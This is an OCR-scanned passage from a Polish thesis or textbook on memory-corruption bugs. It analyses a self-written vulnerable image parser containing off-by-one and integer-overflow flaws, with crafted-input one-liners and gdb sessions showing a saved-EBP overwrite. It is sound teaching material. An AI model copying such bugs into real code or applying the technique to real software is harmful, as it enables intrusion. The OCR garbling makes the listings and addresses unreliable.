ztozonosci w obstudze réznych formatéw, w przerdéznych konfiguracjach. I tak, szczegélnie
popularnymi w dziedzinie bezpieczenstwa formatami, ktdre byly w przesztosci atakowane sa pliki
DOC/XLS, DOCX/XLSX, PDF, SWF (animacje Flashowe). Programy obstugujace te formaty —
pakiet Microsoft Office, Adobe Reader, Adobe Flash Player, sa szczegodlnie chetnie atakowanymi
platformami z uwagi na wiek kodu, ktéry znajduje si¢ w tych binarkach (stary kod bywa zZréodtem
najgorszych probleméw), a ponadto z uwagi na ich powszechno$¢ i ogblng dostepnosc.

1 #include <stdio.h>
2
3 #define NUM OF PALLETES 3
4 #define SUPPORTED WIDTH 30
5 #define SUPPORTED HEIGHT 10
6 #define MAGIC VALUE 0x49584950
7
8 #pragma pack (push, 1)
9 struct Pallete
10 |
11 unsigned int flags;
12 unsigned int chrominance;
13 unsigned int luminance;
14 unsigned int red;
15 unsigned int green;
16 unsigned int blue;
17}
18
19 struct Pixel
20 |
21 unsigned char a;
22 unsigned char b;
23 unsigned char c;
24 };
25
26 struct PixieHeader
27 |
28 unsigned long magic;
29 unsigned long palletelInitValue;
30 struct Pixel data[SUPPORTED WIDTH] [SUPPORTED HEIGHT];
31 struct Pallete pltes[NUM OF PALLETES];
32 char reserved[44];
33 )i
34 #pragma pack (pop)
35
36 void parsePallets (struct PixieHeader* image)
37 |
38 struct Pallete pltes[NUM OF PALLETES];
39 short pallete;
40 if( image->palletelInitValue == 0) return;
41 for(pallete = 0; pallete <= NUM OF PALLETES; pallete++)
42 {
43 pltes[pallete].red = image->palletelInitValue;
44 pltes[pallete] .green = image->palletelInitValue;
45 pltes[pallete] .blue = image->palletelInitValue;
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46 }

47

48 pallete--;

49 pltes[pallete].flags = image->palletelInitValue;
50 }

51

52 wvoid parseImage (FILE *file, short fileSize)
53 |

54 struct PixieHeader image;

55 fread( (void*) &image, 1, sizeof (struct PixieHeader), file);
56

57 if (image.magic != MAGIC VALUE)

58 {

59 // File corrupted.

60 printf("[!] Invalid magic value. File corrupted.\n");
61 return;

62 }

63

04 parsePallets (&image) ;

65

66 // Further image’s palletes processing...
67 }

68

69 wvoid parseFile(char* filePath)

70 |

71 FILE *file = fopen( filePath, "rb");

72 if( file == NULL)

73 {

74 printf("[!] File couldn't be opened!\n");
75 return;

76 }

77

78 fseek (file, 0, SEEK END);

79 short fileSize = ftell (file);

80 rewind (file);

81

82 if (fileSize > sizeof (struct PixieHeader))
83 {

84 printf("[!] Input file is to large!\n");
85 fclose (file);

86 return;

87 }

88

89 parselmage (file, fileSize);

90

91 fclose (file);

92 1}

93

94 int main( int argc, char **argv)

95 {

96 if( argc == 2)

97 parseFile (argv([l]);

98 else

99 printf ("Usage: pixie <file>\n");
100
101 return 0;
102 }

Listing 3.21. Program zawierajgcy bledy klasy OffBy-One oraz Integer Overflow. Zrédlo: opracowanie
wlasne.

Program przedstawiony na listingu 3.21. implementuje obstuge bardzo prostego, autorskiego
formatu graficznego nazwnego PIXIE. Mozna przyjaé, ze jest to jedynie wycinek jakiego$
wigkszego kodu, stanowigcy jego podstawowa funkcjonalnos¢. Wida¢ rowniez, ze w funkcji main
sprawdzana jest obecno$¢ parametru bedacego Sciezka do przetwarzanego pliku. Nastepnie
przekazany plik poddawany jest parsowaniu (przetwarzaniu) w funkcji parseFile, ktora przyjmuje
jako parametr $ciezke do tego pliku. Funkcja parseFile najpierw otwiera plik w trybie odczytu
binarnego, a nast¢pnie ustala wielkos¢ tego pliku metodg ustawienia wskaznika odczytu pliku na
jego koncu, zwrdcenia pozycji wskaznika pliku, zachowania jej w osobnej zmiennej i nast¢pnie

71



przewini¢cie wskaznika do poczatku pliku w celu pozniejszego odczytu pliku. Dalej juz sprawdzany
jest rozmiar pliku i porownywany z rozmiarem pewnej struktury, nazwanej PixieHeader. Struktura
ta opisana kodem przedstawionym na listingu 3.22, sktada sie z pieciu pdl. Pierwsze pole, magic,
stanowi warto$¢ rozpoznawcza, ze ten plik opisuje dany format PIXIE. Nastepna warto§¢ stanowi
jaka$ tam zmienng pomocnicza uzywang jako poczatkowa wartos¢ dla palety. Nastepnie
zadeklarowano macierz danych pixeli pliku, gdzie kazdy pixel opisywany jest trzema bajtami — a,
b, c. Stuktura ta stanowi autorski format, ktérego znaczenia nie ma potrzeby analizowaé. Wiemy
jednak, ze obiekt data jako tablica wiclowymiarowa obiektow typu Pixel, zajmuje w sumie 30 -
10 - 3 = 900 bajtow. Przedostatnia skltadowa struktury PixieHeader Stanowi tablica
trojelementowa obiektow typu pPallete. Kazdy obiekt typu pPallete sklada si¢ z sze$ciu pdl typu
unsigned int co razem daje 24 bajty. Sumujac zatem, sktadowa ma w sumie 24 - 3 = 72 bajty
dlugosci. Ostatnia skladowa stanowi jaki$ rodzaj wypelnienia, o nazwie reserved, co moze
oznaczaé, ze w przysztosci bedzie do czego$ wykorzystana. W sumie cala stuktura PixieHeader
stanowi 4 +4+30 - 10 - 3+ 24 - 3+ 44- 1 =1024 bajty. Tyle tez maksymalnie zajmowac
powinien plik graficzny traktowany na wej$ciu.

struct Pallete

{
unsigned int flags;
unsigned int chrominance;
unsigned int luminance;
unsigned int red;
unsigned int green;
unsigned int blue;

}i

struct Pixel

{
unsigned char a;
unsigned char b;
unsigned char c;

}i

struct PixieHeader
{
unsigned long magic;
unsigned long palleteInitValue;
struct Pixel data [SUPPORTED _WIDTH] [SUPPORTED HEIGHT];
struct Pallete pltes[NUM OF PALLETES];
char reserved([44];

Listing 3.22. Struktury graficzne formatu PIXIE. Zrédlo: opracowanie wlasne.

Po sprawdzeniu wielkosci pliku, program przechodzi do przetwarzania wilasciwego obrazu.
Odpowiada za to funkcja parseImage, ktora przyjmuje jako parametry uchwyt do pliku w
standardzie posIx oraz rozmiar pliku. Funkcja ta nastgpnie wczytuje zadang ilo$¢ bajtow do
struktury pPixieHeader, po czym waliduje warto$¢ bedaca markerem typu pliku (wartosé
magiczna). Jesli ta sie zgadza, program przechodzi do przetworzenia palet obrazu. W ramach funkcji
parsePallets, nastgpuje iteracja po paletach, wypeknia si¢ utworzong na stosie strukture danymi
z pliku, a ostatecznie poza petla wypelniane sg flagi ostatniej palety - warto$cig palleteInitvValue
ze struktury pixieHeader.

Problemem, a raczej problemami, ktore dotycza tego programu sg pewne dwie klasy btedow,
ktore moga doprowadzi¢ do naruszenia struktury pamiegci operacyjnej, a w efekcie zosta¢ naduzyte
przez atakujgcego. Mowa tutaj o btedach Off-By-One oraz Integer Overflow. Btad Off-By-One
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stanowi pomylke¢ programistyczna, w ramach ktorej programista nieumyslnie, z nieuwagi wykonuje
0 jedng iteracje w petli za duzo, lub tez wezytuje o jeden obiekt za duzo do tablicy obiektow.

Zwroéé¢my uwage na kod przedstawiony na listingu 3.23, stanowi on klasyczny przyktad
podatnos$ci Off-By-One:

struct SomeType

{
unsigned long valuel;
char value2([64];
unsigned short wvalue3;

}i

SomeType array[l0];

for(int i = 0; 1 <= 10; i++)
{
array[i] = createObject();

}
Listing 3.23. Klasyczny przykiad bledu Off-By-One. Zrédlo: opracowanie wlasne.

W kodzie przedstawionym na listingu 3.23, najwazniejszg instrukcje stanowi petla, a konkretniej
warunek stopu petli. Uzyty zostat tam operator mniejsze bgdz rowne, co oznacza, ze w efekcie petla
nie wykona dziesi¢¢ iteracji na tablicy array, za$§ wykona ich jedenascie. Spowoduje to nadpisanie
W sumie sizeof (SomeType) = 70 bajtow wychodzacych poza zakres obiektu array na stosie, co
albo nadpisze okoliczne zmienne lokalne, albo wrecz nadpisze ramke funkcji wraz z adresem
poprzedniej ramki funkcji na stosie. Mozliwym atakiem begdzie wtedy takie poinstruowanie funkcji
createObject aby zwrocila oczekiwane przez atakujacego dane, jak np. bajty ktore stanowi¢ beda
poprawny adres powrotu do przygotowanego bufora z bajtami kodu powtoki.

Wracajac jednak do kodu 3.21, problemem wystepujacym w tym kodzie jest naturalnie linijka 41.
bedaca doktadnie takg samg sytuacja jak opisana w kodzie z rysunku 3.23:

36 void parsePallets(struct PixieHeader* image)

37 |

38 struct Pallete pltes[NUM OF PALLETES];

39 short pallete;

40 if ( image->palleteInitValue == 0) return;

41 for(pallete = 0; pallete <= NUM OF PALLETES; pallete++)
42 {

43 pltes[pallete].red = image->palletelInitValue;
44 pltes[pallete] .green = image->palletelInitValue;
45 pltes[pallete] .blue = image->palletelInitValue;
46 }

47

48 pallete--;

49 pltes[pallete].flags = image->palleteInitValue;

50 }

To co si¢ dzieje w tej funkcji faktycznie, to wykonanie czterech (zamiast trzech!) iteracji po
tablicy p1tes zaalokowanej na stosie, w zakresie lokalnym funkcji parsepallets. Wykonanie
tych czterech iteracji na pewno spowoduje uszkodzenie danych znajdujacych si¢ na stosie.
Programista musiat tego nie zauwazy¢. Tuz za petla, programista byt $wiadomy, ze indeks pallete
bedzie mial warto$¢ o jeden za duza, totez dekrementowat jg po to by mdoc odwotaé si¢ do ostatniej,
trzeciej palety 1 ustawi¢ jej sktadowa f1ag. Czego jednak si¢ programista musiat nie spodziewac, to
faktu, Ze tak naprawde w tym miejscu nastapi nadpisanie jakiej$ wartosci wykraczajacej poza tablice
pltes. By¢ moze deweloper nie przetestowal odpowiednio tego kodu, by¢ moze w tej wersji
formatu PIXI nie uzywanym jest jeszcze skladowa palleteInitvalue i w efekcie kod ja

73



przetwarzajacy nie zostal odpowiednio przesledzony. Jaki by powod pozostawienia takiego bledu
nie byl, otworzyl on podatno$¢ bezpieczenstwa pozwalajgca na pisanie poza zakres obszaru
zmiennych lokalnych funkcji, a wigc najpewniej w obszarze ramki funkcji.

Drugim problemem zwigzanym z tym programem jest btad klasy Integer Overflow, stanowiacy
sytuacje, w ktorej zmiennej danemu typowi podaje si¢ warto$¢ krancowa przedziatu wartosci, ktore
ta zmienna obstuguje, a nastepnie w wyniku zmiany znaku warto$ci typu liczbowego, przechodzi
ona warunki zakresu. Problematyczny jest w tym przypadku kod:

78 fseek (file, 0, SEEK END);

79 short fileSize = ftell (file);

80 rewind (file);

81

82 if(fileSize > sizeof (struct PixieHeader))

83 {

84 printf("[!] Input file is to large!\n");
85 fclose (file) ;

86 return;

87 }

Zmienna fileSize bedaca zmienng typu short, przechowywaé¢ ma wielko$¢ pliku
wejsciowego. Zmienna ta jest typu znakowego (a wiec nie jest unsigned), co 0znacza, ze opisywac
bedzie warto$ci z zakresu (—32768, 32767), szesnastkowo: (OxFFFF,0x8000) U (0, 0x7FFF).
Co si¢ jednak stanie, gdy plik zawiera¢ bedzie 0x8000 bajtow, a wigc 32768 bajtow? Dojdzie do
saturacji typu liczbowego, a nastgpnie jego przepetnienia, w efekcie, zmienna uzyska warto$¢
—32768 co znowuz spowoduje, ze warunek spod linijki 82. przejdzie pomyslnie. Na skutek tego
nastgpi przejscie do funkcji parseImage, a tam za pomoca funkcji fread wczytane zostanie 32768
bajtow (gdyz funkcja ta, zgodnie ze standardem 1s0 €99 — jak pokazano ponizej — traktuje
wejsciowy parametr dtugosci jako zmienng typu unsigned). Efekt takiego wczytania bedzie
katastroficzny, nastgpi przepetnienie bufora image (linijka 54.) na stosie funkcji parseImage W
efekcie czego nadpisana zostanie znaczna powierzchnia stosu. To stanowi¢ bedzie bardzo prosta
droge do ataku na system operacyjny.

size t fread ( void * ptr, size_ t size, size_t count, FILE * stream );

W kodzie assemblera linijka 82 wyglada nast¢pujaco:

0x0040176f <+101>: movzx eax,WORD PTR [ebp-0xe]
0x00401773 <+105>: cmp ax,0x400
0x00401777 <+109>: jbe 0x401792 <parseFile+136>

Wiasnie instrukcja JBE oznaczajaca, skocz jesli wartos¢ byla ,,ponizej lub rowna”, zostanie
wykonana i pominie blok kontroli dtugosci. Jednakze w tym przykladzie nie bede atakowac tej
konkretnej podatnosci, gdyz ten rodzaj przepelnien bufora na stosie juz opisano w poprzednim
podrozdziale.

Tym razem skoncentruje si¢ na zbadaniu, a nastepnie naduzyciu podatnosci Off-By-One.
Generuje wiec przyktadowy plik o dtugosci 1024 bajtow, oraz zaczynajgcy sie warto$cig magiczng.
Jego postac stanowi:

d:\college\inz\wxp> python -c "print '\x50\x49\x58\x49'+'B'*4+'C'*900+'D'*72+'E"'*44"
> out.pixi

d:\college\inz\wxp> xxd out.pixi

0000000: 5049 5849 4242 4242 4343 4343 4343 4343 PIXIBBBBCCCCCCCC

0000010: 4343 4343 4343 4343 4343 4343 4343 4343 ccccececececececececececce

0000360: 4343 4343 4343 4343 4343 4343 4343 4343 CCCCCCCCCCCCCCCC

0000370: 4343 4343 4343 4343 4343 4343 4343 4343 CCCCCCCCCCCCCCCC
0000380: 4343 4343 4343 4343 4343 4343 4444 4444 CcCCccccccccepbbbD
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0000390: 4444 4444 4444 4444 4444 4444 4444 4444 DDDDDDDDDDDDDDDD

00003c0: 4444 4444 4444 4444 4444 4444 4444 4444 DDDDDDDDDDDDDDDD
00003d0: 4444 4444 4545 4545 4545 4545 4545 4545 DDDDEEEEEEEEEEEE
00003e0: 4545 4545 4545 4545 4545 4545 4545 4545 EEEEEEEEEEEEEEEE
00003£0: 4545 4545 4545 4545 4545 4545 4545 4545 EEEEEEEEEEEEEEEE

Jak ukazano, struktura tego pliku jest prosta — najpierw warto$¢ magiczna, pozniej cztery litery B
oznaczajace palletsInitValue, nastepnie 900 powtdrzen litery C jako wypetnienie pola data,
potem 72 litry D jako wypelnienie tablicy palet i ostatecznie 44 powtorzenia litery E w celu
zapehienia tablicy reserved. W efekcie plik ma 1024 bajty dtugos$ci. Ponizsza sesja debugowania
prezentuje efekty dziatania funkcji parsePallets:

c:\inz> gdb.exe -q pixie.exe
Reading symbols from pixie.exe...done.
(gdb) r out.pixi

Program received signal SIGSEGV, Segmentation fault.
0x401410 in parsePallets (image=0x4242fb10) at pixie.c:44

44 pltes[pallete] .green = image->palletelInitValue;
(gdb) list

39 short pallete;

40

41 for(pallete = 0; pallete <= NUM OF PALLETES; pallete++)
42 {

43 pltes[pallete] .red = image->palleteInitValue;
44 pltes[pallete] .green = image->palletelInitValue;
45 pltes[pallete] .blue = image->palleteInitValue;
46 }

47

48 pallete--;

(gdb) i r Seax
eax 0x4242fb10 1111685904

(gdb) i r $eip
eip 0x401410 0x401410 <parsePallets+48>

(gdb) x/i S$eip

=> 0x401410 <parsePallets+48>: mov 0x4 (%eax) , $ecx
(gdb) disas
Dump of assembler code for function parsePallets:
0x004013e0 <+0>: push ebp
0x004013el <+1>: mov ebp, esp
0x004013e3 <+3>: sub esp, 0x50
0x004013e6 <+6>: mov WORD PTR [ebp-0x2],0x0
0x004013ec <+12>: jmp 0x401449 <parsePallets+105>
0x004013ee <+14>: movsx edx,WORD PTR [ebp-0x2]
0x004013f2 <+18>: mov eax, DWORD PTR [ebp+0x8]
0x004013f5 <+21>: mov ecx,DWORD PTR [eax+0x4]
0x004013f8 <+24>: mov eax,edx
0x004013fa <+26>: add eax,eax
0x004013fc <+28>: add eax,edx
0x004013fe <+30>: shl eax, 0x3
0x00401401 <+33>: add eax, ebp
0x00401403 <+35>: sub eax, 0x4a
0x00401406 <+38>: mov DWORD PTR [eax+0xc],ecx
0x00401409 <+41>: movsx edx,WORD PTR [ebp-0x2]
0x0040140d <+45>: mov eax, DWNORD PTR [ebp+0x8]
=> 0x00401410 <+48>: mov ecx,DWORD PTR [eax+0x4]
0x00401413 <+51>: mov eax,edx
0x00401415 <+53>: add eax,eax
0x00401417 <+55>: add eax,edx
0x00401419 <+57>: shl eax, 0x3
0x0040141c <+60>: add eax, ebp
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0x0040141le <+62>: sub eax, 0x3a

0x00401421 <+65>: mov DWORD PTR [eax],ecx
0x00401423 <+67>: movsx edx,WORD PTR [ebp-0x2]
0x00401427 <+71>: mov eax, DWORD PTR [ebp+0x8]
0x0040142a <+74>: mov ecx,DWORD PTR [eax+0x4]
0x0040142d <+77>: mov eax,edx

0x0040142f <+79>: add eax,eax

0x00401431 <+81>: add eax,edx

0x00401433 <+83>: shl eax, 0x3

0x00401436 <+86>: add eax, ebp

0x00401438 <+88>: sub eax, 0x3a

0x0040143b <+91>: mov DWORD PTR [eax+0x4],ecx
0x0040143e <+94>: movzx eax,WORD PTR [ebp-0x2]
0x00401442 <+98>: add eax, 0x1

0x00401445 <+101>: mov WORD PTR [ebp-0x2],ax
0x00401449 <+105>: cmp WORD PTR [ebp-0x2],0x3
0x0040144e <+110>: jle 0x4013ee <parsePallets+14>
0x00401450 <+112>: movzx eax,WORD PTR [ebp-0x2]
0x00401454 <+116>: sub eax, 0x1

0x00401457 <+119>: mov WORD PTR [ebp-0x2],ax
0x0040145b <+123>: movsx edx,WORD PTR [ebp-0x2]

0x0040145f <+127>: mov eax, DWORD PTR [ebp+0x8]
0x00401462 <+130>: mov ecx, DWORD PTR [eax+0x4]
0x00401465 <+133>: mov eax,edx
0x00401467 <+135>: add eax,eax
0x00401469 <+137>: add eax,edx
0x0040146b <+139>: shl eax, 0x3
0x0040146e <+142>: add eax, ebp
0x00401470 <+144>: sub eax,0x4a
0x00401473 <+147>: mov DWORD PTR [eax],ecx
0x00401475 <+149>: leave
0x00401476 <+150>: ret
End of assembler dump.
(gdb)

Listing 3.24. Blgd podczas przetwarzania przyktadowego pliku testowego. Zrédlo: opracowanie wlasne.

Na listingu 3.24. przedstawiono pierwsze podejscie do debugowania testowego programu.
Skompilowany on zostal z symbolami wspomagajacymi debugowanie, wigc widoczne jest
odwzorowanie instrukcji assemblera na kolejne linie kodu z pliku zrodtowego, jak réwniez pokazane
zostaty nazwy funkcji i zmiennych w listingu. Kolorem czerwonym przedstawiono prolog i epilog,
kolorem granatowym kod wewnatrz petli w funkcji processPallets. Jak mozna zauwazyc,
podczas odwotywania si¢ do sktadowej green, wskaznik EAX wskazuje daleko poza dostepny zakres
pamigci stosu. Oznacza to, ze obliczenia ktore doprowadzily do takiej wartosci musiaty gdzies po
drodze zosta¢ zaburzone na skutek przetwarzania wejsciowego pliku. Z racji, ze w rejestrze EAX
znajduje si¢ warto$¢ 0x4242, totez wnioskujemy, ze to wlasnie warto$¢ pola palletsInitvValue
spowodowata nadpisanie. Ponadto rzuca si¢ w oczy nastepujaca informacja z debuggera:

Program received signal SIGSEGV, Segmentation fault.
0x401410 in parsePallets (image=0x4242fb10) at pixie.c:44

Pokazuje ona, ze parametrem wejSciowym jest wskaznik image wskazujacy pod adres
0x4242fb10. Ten przedrostek 0x4242 od razu wskazuje, ze w kodzie nastapito nadpisanie
parametréw wywolania funkcji, znajdujgcych sie¢ w dodatnich adresach (indeksujgc po EBP) ramki
funkcji. Wobec tego, w wyniku bledu, bedzie mozna tak naduzy¢ wykorzystanie stosu by
zmodyfikowac¢ ramke funkcji i w efekcie by¢ moze adres wskaznika EBP poprzedniej ramki lub adres
powrotu. Prze$ledzmy zatem jak ustalana jest warto$¢ EaX W tym miejscu, podczas czwartego obiegu

petli:

Breakpoint 1, parsePallets (image=0x4242fb10) at pixie.c:44
44 pltes[pallete] .green = image->palleteInitValue;
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2: x/xw Seax 0x22fae6: 0xff180003
1: x/41i $eip
=> 0x401409 <parsePallets+41>: movsx edx,WORD PTR [ebp-0x2]

0x40140d <parsePallets+45>: mov eax, DWORD PTR [ebp+0x8]
0x401410 <parsePallets+48>: mov ecx, DWORD PTR [eax+0x4]
0x401413 <parsePallets+51>: mov eax,edx
(gdb) ni
0x0040140d 44 pltes[pallete] .green = image->palleteInitValue;

2: x/xw Seax 0x22fae6: 0xff180003
1: x/41i $eip
=> 0x40140d <parsePallets+45>: mov eax,DWORD PTR [ebp+0x8]

0x401410 <parsePallets+48>: mov ecx, DWORD PTR [eax+0x4]
0x401413 <parsePallets+51>: mov eax, edx
0x401415 <parsePallets+53>: add eax,eax
(gdb) i r $edx
edx 0x3 3
(gdb) ni
0x00401410 44 pltes[pallete] .green = image->palletelInitValue;
2: x/xw $eax 0x4242fblO0: <error: Cannot access memory at address 0x4242fbl0>
1: x/4i Seip
=> 0x401410 <parsePallets+48>: mov ecx,DWORD PTR [eax+0x4]
0x401413 <parsePallets+51>: mov eax,edx
0x401415 <parsePallets+53>: add eax,eax
0x401417 <parsePallets+55>: add eax,edx
(gdb) ni

Program received signal SIGSEGV, Segmentation fault.
0x00401410 in parsePallets (image=0x4242fbl0) at pixie.c:44

44 pltes[pallete] .green = image->palletelInitValue;
2: x/xw $Seax 0x4242fbl0: <error: Cannot access memory at address 0x4242fbl0>
1: x/41i $eip
=> 0x401410 <parsePallets+48>: mov ecx,DWORD PTR [eax+0x4]
0x401413 <parsePallets+51>: mov eax, edx
0x401415 <parsePallets+53>: add eax,eax

0x401417 <parsePallets+55>: add eax,edx
(gdb) x/16xw $ebp-32

0x22fac8: 0x42424242 0x00004242 0x0022facO 0x00000013
0x22fad8: 0x4242ffel 0x42424242 0x42424242 0x00034242
0x22fae8: 0x0022£ff18 0x004014d1 0x4242fbl0 0x00004242
0x22faf8: 0x00000400 0x77cdace0l 0x0000049¢c 0x0069005¢
(gdb) i r $ebp

ebp 0x22fae8 0x22fae8

Listing 3.25. Sledzenie bledu off-by-one. Zrédlo: opracowanie wlasne.

To co wida¢ na listingu 3.25 to dowod na to, ze btgd of f-by-one niszczy strukture stosu, ramki
funkcji na skutek czwartej iteracji. Aby jednak moc naduzy¢ ten btad, bede musiat tak zaprojektowac
wejsciowy plik, aby warto§¢ palletsInitValue nadpisala te zmienne na stosie, by pozwoli¢
zakonczy¢ wykonywanie funkcji parsepallets bez bledu i pozwoli¢ jej wyjsé. Jednoczeénie tak,
aby udato si¢ zmodyfikowac warto$¢ EBP lub adres powrotu. Zauwazmy zatem, ze wartos¢ 0x4242
w tej zmiennej ustawiona zostala w dwodch najbardziej znaczacych bajtach. Zatem w ramach
testowego pliku bede chciat wstawi¢ tam warto$¢ 0x0022 aby odpowiadata poprawnym goérnym 16-
tu bitom adresow na stosie. Warto zauwazy¢, ze pod adresem 0x22 fae8 znajduje si¢ stara, odlozona
ramka funkcji wywolujacej, a wiec parseImage. Nastepne podwojne stowo, pod adresem 0x22fec
zawiera adres powrotu z tej funkcji, warto$¢ 0x004014d1. Ponizej, na listingu 3.26., prezentuj¢
zmodyfikowany plik wejsciowy i ukazuj¢ jak przebiegnie program:

C:\inz> python -c "f = open('out.pixi','wb');
f.write ('\x50\x49\x58\x49'+'\x22\x00'+'B'*2+'C'*900+'D'*72+'E'*44); f.close();"

C:\inz> xxd out.pixi | head

0000000: 5049 5849 2200 4242 4343 4343 4343 4343 PIXI".BBCCCCCCCC
0000010: 4343 4343 4343 4343 4343 4343 4343 4343 CCCCCCCCCCccecce
0000020: 4343 4343 4343 4343 4343 4343 4343 4343 CCCCCCCCccccecee
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0000030: 4343 4343 4343 4343 4343 4343 4343 4343
0000040: 4343 4343 4343 4343 4343 4343 4343 4343
0000050: 4343 4343 4343 4343 4343 4343 4343 4343
0000060: 4343 4343 4343 4343 4343 4343 4343 4343
0000070: 4343 4343 4343 4343 4343 4343 4343 4343
0000080: 4343 4343 4343 4343 4343 4343 4343 4343
0000090: 4343 4343 4343 4343 4343 4343 4343 4343

C:\inz>gdb -q pixie.exe

cceececcececcececcececce
CCcceeceecececececcececece
Cccceeceecececececccecece
cceececcececcececcecece
cceececcececcececcececce
Cccceecececececececccecece
Cccceeceecececececccecece

Reading symbols from C:\inz\pixie.exe...done.
(gdb) set disassembly-flavor intel

(gdb) b *parsePallets+112

Breakpoint 1 at 0x401450: file pixie.c, line 48.

(gdb) display/5i $eip
(gdb) display/léxw $ebp-32
(gdb) r out.pixi

Starting program: C:\inz/pixie.exe out.pixi

[New Thread 176.0x180]

Breakpoint 1, parsePallets (image=0x22fbl0) at pixie.c:48

48 pallete--;

2: x/lé6xw $ebp-32
0x22fac8: 0x00224242
0x22fad8: 0x0022ffel
0x22fae8: 0x0022ff18
0x22faf8: 0x00224242

1: x/5i $eip

=> 0x401450 <parsePallets+112>:
0x401454 <parsePallets+116>:
0x401457 <parsePallets+119>:
0x40145b <parsePallets+123>:
0x40145f <parsePallets+127>:

Listing 3.26. Sesja debugowania zmodyfikowanego pliku wejsciowego. Zrédlo: opracowanie wlasne.

0x00004242 0x0022facO 0x00000013
0x00224242 0x00224242 0x00044242
0x004014d1 0x0022fbl0 0x00224242
0x77c44242 0x0000049c 0x0069005¢c

movzx eax,WORD PTR [ebp-0x2]

sub eax, 0x1

mov WORD PTR [ebp-0x2],ax
movsx edx,WORD PTR [ebp-0x2]
mov eax, DWNORD PTR [ebp+0x8]

Na listingu 3.26. wida¢, ze udato si¢ od razu, bez zadnej awarii przejs¢ do instrukeji tuz za petla.
Pod adresem [EBP-0x02] znajduje si¢ licznik petli, zmienna palletes, za$ pod adresem
[EBP+0x8] znajduje si¢ argument funkcji, wskaznik image. Bede teraz kontynuowac §ledzenie

programul.

(gdb) ni
0x00401454 48 pallete--;
2: x/1l6xw $ebp-32
0x22fac8: 0x00224242 0x00004242 0x0022facO 0x00000013
0x22fad8: 0x0022ffe0l 0x00224242 0x00224242 0x00044242
0x22fae8: 0x0022ff18 0x004014d1 0x0022fb10 0x00224242
0x22faf8: 0x00224242 0x77c44242 0x0000049c 0x0069005¢c
1: x/5i $eip
=> 0x401454 <parsePallets+116>: sub eax, 0x1

0x401457 <parsePallets+119>: mov WORD PTR [ebp-0x2],ax

0x40145b <parsePallets+123>: movsx edx,WORD PTR [ebp-0x2]

0x40145f <parsePallets+127>: mov eax, DNORD PTR [ebp+0x8]

0x401462 <parsePallets+130>: mov ecx, DWORD PTR [eax+0x4]
(gdb)
0x00401457 48 pallete--;
2: x/1l6xw $ebp-32
0x22fac8: 0x00224242 0x00004242 0x0022fac0 0x00000013
0x22fad8: 0x0022ffel 0x00224242 0x00224242 0x00044242
0x22fae8: 0x0022ff18 0x004014d1 0x0022fb10 0x00224242
0x22faf8: 0x00224242 0x77c44242 0x0000049c 0x0069005¢c

1: x/5i S$eip

=> 0x401457 <parsePallets+119>:
0x40145b <parsePallets+123>:
0x40145f <parsePallets+127>:
0x401462 <parsePallets+130>:
0x401465 <parsePallets+133>:

(gdb)

mov WORD PTR [ebp-0x2],ax
movsx edx,WORD PTR [ebp-0x2]

mov eax, DWNORD PTR [ebp+0x8]
mov ecx, DWORD PTR [eax+0x4]
mov eax, edx
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0x00401473 49 pltes[pallete].flags = image->palletelInitValue;
2: x/l6xw $ebp-32

0x22fac8: 0x00224242 0x00004242 0x0022facO 0x00000013
0x22fad8: 0x0022ffe0 0x00224242 0x00224242 0x00034242
0x22fae8: 0x0022f£f18 0x004014d1 0x0022£fb10 0x00224242
0x22faf8: 0x00224242 0x77c44242 0x0000049c 0x0069005¢c
1: x/5i S$eip

=> 0x401473 <parsePallets+147>: mov DWORD PTR [eax],ecx

0x401475 <parsePallets+149>: leave
0x401476 <parsePallets+150>: ret

0x401477 <parselmage>: push ebp
0x401478 <parselmage+l>: mov ebp, esp
(gdb) i r S$ecx
ecx 0x42420022 1111621666
(gdb) x/xw $eax
0x22faeb6: 0x££180003

Listing 3.27. Ujawnienie bledu off-by-one pod debuggerem. Zrédlo: opracowanie wlasne.

To co si¢ dzieje we fragmencie z listingu 3.27., to wykonanie instrukcji spod linii 49, ktora to
przypisuje ostatniej palecie pewng warto$¢ £lag. Jak ukazano po instrukcji, adresem docelowym
jest rejestr Eax, ktory wskazuje pod adres 0x22fae6. Zauwazamy, ze to tylko dwa bajty przed
adresem odtozonej ramki stosu poprzedniej funkcji, a wigc funkcji parseImage (ktory to adres
ramki tej funkcji odtozony jest pod adresem 0x22fae8). Warto$¢ ta zostala oznaczona kolorem na
listingu 3.27. JeSli za$§ chodzi o wpisywang warto$s¢, czyli obecng posta¢ sktadowej
palleteInitValue, t0 Stanowi ona 0x42420022. Zauwazy¢ mozna zatem, ze gorne bajty
stanowig litery B (0 kodzie 0x42), ktore pozostawiono w pliku w ramach tego pola, za$ dolne bajty
stanowig ustawione wczesniej 0x0022 na potrzeby korekcji stosu by wyj$¢ z funkeji bez awarii.
Nastegpnie zajdzie nadpisanie regionu oznaczonego kolorem btekitnym, w powyzszym zrzucie
zawartosci stosu spod rejestru EBP. W efekcie, dolne dwa bajty wskaznika EBP poprzedniej ramki
funkcji, zostang nadpisane warto$cia 0x4242. Przesledzenie regionow oznaczonych kolorem
biekitnym powinno utatwi¢ odczytanie tych listingdw. Jesli zatem kontrolujemy dolne dwa bajty
poprzedniego adresu ramki funkcji, to mozemy efektywnie ustawic je na dowolne dwa bajty, ktore
wskazg pod inng, kontrolowang ramke, a co za tym idzie, tuz za nig adres powrotu! Ponizszy listing
przedstawia efekt wykonania tej instrukcji i uzyskanie nadpisania wskaznika starej EBP:

(gdb) ni

50 }

2: x/16xw $ebp-32

0x22fac8: 0x00224242 0x00004242 0x0022fac0 0x00000013
0x22fad8: 0x0022ffe0 0x00224242 0x00224242 0x00224242
0x22fae8: 0x00224242 0x004014d1 0x0022£fb10 0x00224242
0x22faf8: 0x00224242 0x77c44242 0x0000049c 0x0069005¢c

1: x/5i $Seip
=> 0x401475 <parsePallets+149>: leave
0x401476 <parsePallets+150>: ret

0x401477 <parselmage>: push ebp
0x401478 <parselmage+l>: mov ebp, esp
0x40147a <parselmage+3>: sub esp, 0x418
(gdb) i r $ebp
ebp 0x22fae8 0x22fael8

Teraz gdy nadpisano poprzedni adres ramki funkcji, wszystko co nalezy zrobi¢ to opusci¢
spokojnie obecng funkcje parsePallets, nastepnie opusci¢ funkcje parseImage i podczas jej
epilogu nastapi kontrolowane odtworzenie poprzedniego szczytu stosu, a co za tym idzie
podstawienie kontrolowanego adresu powrotu z funkcji parseImage:

(gdb) ni

0x00401476 50 }
2: x/1l6xw $ebp-32
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0x224222: <error: Cannot access memory at address 0x224222>
1: x/51i $eip
=> 0x401476 <parsePallets+150>: ret
0x401477 <parselImage>: push ebp
